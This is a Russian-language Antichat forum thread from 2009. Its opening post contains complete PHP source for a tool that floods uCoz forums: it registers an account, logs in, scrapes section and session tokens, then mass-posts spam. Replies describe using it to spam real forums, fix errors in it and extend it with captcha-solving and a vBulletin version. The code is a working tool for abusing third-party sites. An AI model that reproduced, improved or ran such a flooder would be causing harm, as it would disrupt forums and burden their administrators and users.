Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Флудер форумов ucoz.ru (https://forum.antichat.xyz/showthread.php?t=102614)

Артем Солнце 22.01.2009 23:17

Флудер форумов ucoz.ru
 
PHP код:

<?php 
#if(isset($_POST['password']) && $_POST['password']=='0123'){ 
set_time_limit(0); 
ob_implicit_flush (); 
function 
get($url$postdata$cookie$ref$h){ 
    
$cp curl_init(); 
    
curl_setopt ($cpCURLOPT_URL$url); 
    
curl_setopt($cpCURLOPT_RETURNTRANSFER1);  
    if(
$h==1) {curl_setopt($cpCURLOPT_HEADER1);} else {curl_setopt($cpCURLOPT_HEADER0);} 
    
curl_setopt($cpCURLOPT_TIMEOUT,17);  
    if(!empty(
$ref))curl_setopt($cpCURLOPT_REFERER$ref); 
    if(!empty(
$cookie))curl_setopt($cpCURLOPT_COOKIE$cookie);  
    if(!empty(
$postdata))curl_setopt($cpCURLOPT_POSTTRUE); 
    if(!empty(
$postdata))curl_setopt($cpCURLOPT_POSTFIELDS,$postdata); 
    
$data curl_exec ($cp); 
    
curl_close ($cp); 
    return 
$data;     } 
    function 
get2($serv,$fp$url$post_data,$ref,$cookies,$t){ 
    if(!
$fp){$fp=fsockopen($serv,80);} 
    if(!empty(
$post_data)){$header  "POST $url HTTP/1.1\r\n";} 
    elseif(empty(
$post_data)){$header  "GET $url HTTP/1.1\r\n";} 
    
$header .= "Host: $serv\r\n"
    
$header .= "Connection: Keep-Alive\r\n"
    if(!empty(
$ref)){$header .= "Referer: http://$serv/forum/$ref-0-0-1-1\r\n";} 
    if(!empty(
$cookies)){$header .= "Cookie: $cookies\r\n";} 
    
$header .= "Content-Type: application/x-www-form-urlencoded\r\n"
    if(empty(
$post_data)){$header .= "\r\n";} 
    elseif(!empty(
$post_data)){$header .= "Content-Length: ".strlen($post_data)."\r\n\r\n"
    
$header .= $post_data;} 
    
fputs($fp$header); 
    if(
$t=='full'){while(!feof($fp)){@$data .=fread($fp,900);}} 
    elseif(
$t=='poh'){$data=fread($fp,900);} 
    return 
$data;} 
if(isset(
$_GET['TEST']) && preg_match("/secure\/6-0-[0-9]{1,90}/",$_GET['TEST'])){$test=$_GET['TEST'];$data=get($test,"","","","",0);die($data);} 

elseif(!isset(
$_GET['TEST']) && !isset($_POST['img']) && !isset($_POST['lol']) && !isset($_POST['serv']) && !isset($_POST['cookie']) && !isset($_POST['forum']) && !isset($_POST['header']) && !isset($_POST['text'])){ 
die(

<Br><br><Br><BR><bR> 
<form method=post> 
forum(http://lala.clan.su/forum/): <br><input name=forum size=90><br> 
<input type=submit> 
</form> 
"
); 

elseif(isset(
$_POST['forum']) && !isset($_GET['TEST']) && !isset($_POST['img']) && !isset($_POST['lol']) && !isset($_POST['serv']) && !isset($_POST['cookie']) && !isset($_POST['header']) && !isset($_POST['text'])) 

$forum=$_POST['forum']; 
$foruma=parse_url($forum); 
$serv=$foruma['host']; 
$data=get("http://$serv/index/3","","","",1); 
if(
preg_match("/src=\"(http:\/\/$serv\/secure\/6-0-[0-9]{1,90})\"/is",$data,$maq)){ 
$img="http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?TEST=".$maq[1]; 
die(
"<img src=".$img."width=70 height=70><form method=post><input name=img size=47><input type=hidden name=forum value=$forum><br><input type=submit></form>"); 
}else die(
'cannot find captcha'); 

elseif(isset(
$_POST['forum']) && !isset($_GET['TEST']) && isset($_POST['img']) && !isset($_POST['lol']) && !isset($_POST['serv']) && !isset($_POST['cookie']) && !isset($_POST['header']) && !isset($_POST['text']) && !isset($_POST['login']) && !isset($_POST['password'])) 

$forum=$_POST['forum']; 
$foruma=parse_url($forum); 
$serv=$foruma['host']; 
$login="LOGIN".rand(1,999); 
$password="qq".rand(12,9000); 
$post="jkd498=1&jkd428=1&user=$login&password=$password&password1=$password&name=FULL".rand(1,999)."&email=E-".rand(1,999)."[Педобот! Ссылки могут видеть только зарегистрированные пользователи. Зарегистрироваться...]&home_page=&icq=".rand(99999,99999)."&by=1975&bm=12&bd=31&gender=1&avatar=&signature=hek&code=$img&a=4&s=0"
$url="http://$serv/index/"
$data=get($url,$post,"","",1); 
if(
eregi("Неправильный код",$data)){die('wrong code ;)');} 
 die(
"<font color=green><b>USER $login WAS SUCCESSFULLY REGISTERED</b></font><br> 
 <form method=post> 
forum: <input name=forum value='
$forum'><br> 
tema:  <input name=header value='TEMA'><br> 
text:   <textarea cols=20 rows=3 name=text>TEXT</textarea><br> 
skoka zaprosov:    <input name=skoka value='50'><br> 
login:     <input name=login value='
$login'><br> 
password:      <input name=password value='
$password'><br> 
 <input type=submit value='Go to part #2 :D'> 
</form> 
"
); 

elseif(!isset(
$_GET['TEST']) && !isset($_POST['img']) && !isset($_POST['lol']) && !isset($_POST['serv']) && !isset($_POST['cookie']) && isset($_POST['forum']) && isset($_POST['header']) && isset($_POST['text']) && isset($_POST['skoka']) && isset($_POST['login']) && isset($_POST['password'])) 

$forum=$_POST['forum']; 
$login=$_POST['login']; 
$password=$_POST['password']; 
$tema=urlencode($_POST['header']); 
$text=urlencode($_POST['text']); 
if(isset(
$_POST['skoka'])){(int)$skoka=$_POST['skoka'];}else $skoka=10
$pars=parse_url($forum); 
$serv=$pars['host']; 
$url2=$pars["path"]; 
$url1="http://$serv/index/"
$data=get($url1,"user=$login&password=$password&rem=1&hidden=1&a=2&ajax=2","","",1); 
#################################### 
#################################### 
echo("<b>Trying to login:</b> "); 
if(
preg_match("/Set-Cookie: (.*?);/is",$data,$mat)){ 
echo(
"<b><font color=green>SUCCESS</font></b><Br>"); 
$cookie=($mat[1]);unset($data); 
$data=get("http://$serv/forum/","","","",1); 
echo(
"<b>Searching for forums:</b> "); 
if(
preg_match_all("/<a class=\"forum\" href=\"http:\/\/$serv\/forum\/([0-9]{1,900})\">/",$data,$mat)){ 
$arr=$mat[1];#die($mat[1][1]); 
$lala=$arr[rand(0,count($arr)-1)]; 
echo(
"<b><font color=green>SUCCESS, found ".count($arr)." forums</font></b><br>"); 
$test="http://".$serv."/forum/$lala-0-0-1-1";#die($test); 
$data=get($test,"",$cookie,"",1); 
echo(
"<b>Trying to get \$SSID:</b> "); 
if(
preg_match("/\"ssid\" value=\"([0-9]{20,30})\"/",$data,$mad)) 
        { 
            
$ssid=($mad[1]); 
            echo(
"<b><font color=green>\$SSID FOUND!: $ssid</font></b><br>"); 
            if(
preg_match("/<script type=\"text\/javascript\">var (.*?)\'\);<\/script>/",$data,$lolo)){ 
            
$lolo0=$lolo[0]; 
            foreach(
$arr as $ar){$re.="$ar,";} 
            
$re=base64_encode($re); 
            echo(
"<form method=post name=f1><input type=hidden name=lol value=''> 
            <input type=hidden name=forum value='
$forum'> 
            <input type=hidden name=cookie value='"
.urlencode(base64_encode($cookie))."'> 
            <input type=hidden name=header value='
$tema'> 
            <input type=hidden name=text value='
$text'> 
            <input type=hidden name=skoka value='
$skoka'> 
            <input type=hidden name=serv value='
$serv'> 
            <input type=hidden name=re value='
$re'> 
            <input type=submit value='im ready ) start :D'>"
); 
            
$lolo0=str_replace("return r","return document.f1.lol.value = escape(r)",$lolo0); 
            die(
$lolo0); 
            } else die(
"<br>CANNOT GET SPECIAL CONTENT."); 

        } else die(
"<b><font color=red>FAILED!!!!</font></b>"); 

} else die(
"<b><font color=red>FAILED!!!!</font></b>"); 

}else die(
'wrong login/pass or cant connect'); 

elseif(!isset(
$_GET['TEST']) && !isset($_POST['img']) && isset($_POST['re']) && isset($_POST['skoka']) && isset($_POST['serv']) && isset($_POST['lol']) && isset($_POST['cookie']) && isset($_POST['forum']) && isset($_POST['header']) && isset($_POST['text'])){ 
$re=base64_decode($_POST['re']); 
$arr=explode(",",$re); 
$serv=$_POST['serv']; 
$lol=urldecode($_POST['lol']); 
$skoka=$_POST['skoka']; 
$cookie=$_POST['cookie']; 
$cookie=urldecode($cookie); 
$cookie=base64_decode($cookie); 
$tema=$_POST['header']; 
$text=$_POST['text']; 
$lala=$arr[rand(0,count($arr)-2)]; 
if(
preg_match("/name=\"([a-z0-9]{1,90})\" value=\"([0-9]{1,90})\" \/>/",$lol,$mat)){ 
$key1=$mat[1]; 
$value1=$mat[2]; 
            
$fp=fsockopen($serv,80); 
if(!
$fp){$fp=fsockopen($serv,80);} 
            if(
$fp){ 
if(!
$fp){$fp=fsockopen($serv,80);} 
            echo(
"<h1>STARTING Fl00d</h1><br>"); 
            
$count=0
            for(
$i=0;$i<$skoka;$i++) 
            { 
            
$lala=$arr[rand(0,count($arr)-2)]; 
            
$post_data="jkd498=1&jkd428=1&name=$tema&description=&fsize=0&ffont=0&fcolor=0&tagcount=0&message=$text&smiles_on=1&signature_on=1&syst=&ssid=$ssid&fid=$lala&tid=0&p=0&a=4&$key1=$value1"
            
$data=null;#die($data."<br><br><br><br>$post_data"); 
            
unset($data); 
            
$urla="/forum/"
            if(!
$fp){$fp=fsockopen($serv,80);} 
            
$data=get2($serv,$fp,$urla,$post_data,$lala,$cookie,'poh'); 
            if(
eregi("302 Found",$data)){$count++;} 
            } 
            
fclose($fp); 
            die(
'<script>alert("DONE! You have sended '.$count.' messages");</script>'); 
            } 
} else die(
"Cannot calculate special content. Please report."); 

else die(
666); 
#} else die('u dont have access.'); 
?>

(с) http://narod.ru/disk/3865900000/ucoz.php.html

Nelzone 22.01.2009 23:18

протестим

Arigona 22.01.2009 23:19

ПС, с какого времени на форумах укоза не стоит антифлуд?

Alexandr II 22.01.2009 23:20

ого)) ну спасибо большое))
не проюзал ещё.. но думю работает..
помню мой знакомый писал регалку и флудер для юкозовских сайтов... но это было давно.. и не пашут они...
+ тыкнул ;)

Артем Солнце 22.01.2009 23:20

Цитата:

Сообщение от Arigona
ПС, с какого времени на форумах укоза не стоит антифлуд?

имхо копирайт не мой, действую по принципу.: Нашел = Поделился

Arigona 22.01.2009 23:20

Но по любому спасибо и + за старания

alx8787 23.01.2009 20:19

А кто вообще тестил??? А то была у мну 1 прожка, но та полуавтоматом работала... ну типа время только правильно отсчитывала....

mailbrush 23.01.2009 21:18

Цитата:

действую по принципу.: Нашел = Поделился
Это называется копи-паст (Скопировал-Вставил).

LenarVS 23.01.2009 23:24

Если правильно выставить таймаут,то можно довольно неплохо зафлудит форум.Поставил +,но лучше б рабочий аналог на перле.Было б лучше чем пхп.Хотя кому как...

ReduKToR 26.01.2009 00:26

скрипт полностью рабочий,единственный трабл, это надо самому зарегить юзера.ато авторега неробит

Chrome~ 26.01.2009 16:49

Такие скрипты нету смысла использовать и писать: в админа есть опция удалить записи пользователя. В 2 клика можно удалить все сообщения любого пользователя, сколько их бы не было.

ReduKToR 26.01.2009 23:23

нифига подобного,я заспааамил 16 популярных укоз форумов,и ничига,всё вручную удаляли,
не все ведь админы такие умные, скрипт норм,я вот думаю если изменить запросы,адреса на создание тм,то мона его и под флудер для vbulletin переделать

Arigona 26.01.2009 23:25

Parse error: syntax error, unexpected T_STRING in .../da.php on line 163

Как исправить это?

nonamez 26.01.2009 23:27

пробелы подотри
по сабжу: я до сих пор юзаю старый добрый инеткряк от античата))

Arigona 26.01.2009 23:31

инеткряк это этот чтоли? если нет то поделись)

Эмм... НЕ пойму, пишет SPAM доне и отправлено 0 месаг..

Arigona 26.01.2009 23:44

Люди, это НЕЧТО ! :D Поставил миллион запросов, так он мне пол часа висел, и потом выдал что готово, ппц, посмотрел на форум там весь форум зосран :D С меня огромные плюсы :D

Arigona 27.01.2009 00:05

Подскажите хостинг который поддерживает это.. Пожалуйста... на двух уже пробовал, файлед.. Только вот на 1.. и то друга

*eXe* 27.01.2009 00:12

Было бы круто, если бы скрипт сам подставлял акки и слал определённое колличество флуда с одного аккаунта.

Так уж и быть, акки можно нарегать и ручками :)

А так, чистится сайт элементарно. Но насрать можно порядочно

Arigona 27.01.2009 17:06

Вроде уже не работает спамер, люди помогите - проверьте у себя если работает... С мну +.

У мну пишет что не может найти список форумов ( FAILED )

Проверял на многих форумах. Скрипт поставил на сервере...

Arigona 27.01.2009 19:42

Trying to login: SUCCESS
Searching for forums: SUCCESS, found 12 forums
Trying to get $SSID: FAILED!!!!

Скрипт больше не робит?:(

ReduKToR 27.01.2009 19:55

Arigona,робит,тут может быть несколько траблов, либо ты слишком много запросов ввел или акк банили

Arigona 27.01.2009 20:25

ДА я случайно ввёл 5000 запросов)) так он запостил 5к постов поразбросал) Акк забанили, так я новый зарегал - полюбому

Chrome~ 27.01.2009 20:35

Судя по Вашых сообщениях в этой теме, - ReduKToR правильно пишет: не все админы умные. А насчет данного флудера, - можно было бы дописать несколько функций. Например, авторегистрация аккаунтов (с помощью anti-captcha.com), флуд с многих акков и т.п... Займусь этим, когда будет свободное время.

Arigona 27.01.2009 22:49

Дайте ссылку на скрипт на хостинге где он работает...

LenarVS 28.01.2009 01:46

Warning: set_time_limit() has been disabled for security reasons in /home/a6248774/public_html/ucoz.php on line 3

Хостинг не походит значит?Если да,то http://000webhost.com/ не работает))

DIMON4G 28.01.2009 03:12

ща тестанём ;)

ReduKToR 28.01.2009 09:51

Chrome~, блин, а вот что за люди, теперь придется расказать тчо я этим занимаюсь, а хотел сделать сюрприз, посмотрим что выйдет
Цитата:

Хостинг не походит значит?
неможет он неработать, ты права на просмотр дал?глянь,дай ему права 775 :)

astral008 28.01.2009 17:41

Слушайте люди, объясните плиз что где там надо написать.

Я скопировал этот код , нажал пуск а там какое то поле-я так понял там надо сайт жертвы вводить , ну я ввёл и ничего не происходит

d1alac 28.01.2009 20:51

Только что протестил. У меня все отлично работает.

Астрал008, ты файл открой и там по середине где-то надо кое-какие данные на свои изменить.

Arigona 28.01.2009 21:08

astral008, мэн - жжёш, пуск тут при чём? Учи пхп.

ReduKToR, ты давай давай делай :)) Если нужна помощь пиши) помогу :) Для нас это и так сюрпризом будет)

astral008 28.01.2009 21:38

При том что я не в браузере этот код запускаю а в PHP Expert Editon

Основы php я знаю(в основном из с++) но код там довольно мудрёный

Ну покажи на примере плиз(код под какой нить сайт выложи)

ReduKToR 29.01.2009 11:23

Arigona, делаю, малость занят заданием на роа. так что скрипту мло времени уделяю, но принцип тот что надо указать переменные разделов на вобле(рандамно).и по удачным будем долбить,так как в вобле нельзя удадить все записи одного изера,то думаю скрипт будет бомба, но скрипт будет полу пабликом, буду выдавать тока ачатовцам с репой(или прост хорошим людям), тоесть(хрен школьнеги получят скрипт)
+ я учитываю то что если всё получится, то на меня пол инета будет косо смотреть, он будет работать до тех пор пока несделают капчу на отправку сообщений

плюс, я уже начал дописание списка сайтов котрые будет нельзя спамить!первый в списке античат и т.д
плюс хорошо было бы сделать сразу же антикапчу,и одновременную регу юзеров 50, чтою все эти пользователи долбили темы,в доработке этого скрипта также идет русский язык,т.к. скрипт который выложен в первом посту -шпарит только на транслите
короче идей много,а вот времени нет, обещаю,как закончю задание в роа,и если успешно и меня возьмут,то вплотную займус этим скриптом

ReduKToR 29.01.2009 11:26

Цитата:

Основы php я знаю(в основном из с++) но код там довольно мудрёный
и
Цитата:

Слушайте люди, объясните плиз что где там надо написать.

Я скопировал этот код , нажал пуск а там какое то поле-я так понял там надо сайт жертвы вводить , ну я ввёл и ничего не происходит
народ- как это понять? раздвоение личностей 0_о

Vlad3d 29.01.2009 11:48

не работает.........всмысле ошибки в скрипте залейте куда нибудь что бы код не менялся

ReduKToR 29.01.2009 11:59

вот скрипт который в первом посте, спецально для тех кто неумеет ставить!!![
идем сюда
спс говорим крестиками

LenarVS 30.01.2009 00:59

ReduKToR,а смысл?Для каждого форума свой акаунт.Он же не регает автоматически.Так что можешь убирать,смысла в том,что ты поставил нету.Лучше б хост дал,мне. :D Я б сам поставил. :D
Цитата:

Warning: set_time_limit() has been disabled for security reasons in /home/a6248774/public_html/ucoz.php on line 3
Поставил права 775 и все равно ошибка) :rolleyes:

ReduKToR 30.01.2009 08:03

LenarVS,хост с доменам валяются. мне ненужны,а так хоть школьнеги побалуются, ток чета мнго кто юзает,а крестик ниодин непоставил,обидно/(

astral008 30.01.2009 21:10

да что ты говоришь редуктор.Я тебе добавил если ты не заметил

destory 30.01.2009 23:02

SUPER + POSTAVIL AVTORU ! ! :D :D COOL alilyia

SeCriVe 31.01.2009 14:42

Блин чёт не получается( Когда я ввожу сайт вылезает:
Fatal error: Call to undefined function curl_init() in Z:\home\test1.ru\www\ucoz.php on line 6
помогите!


Время: 03:02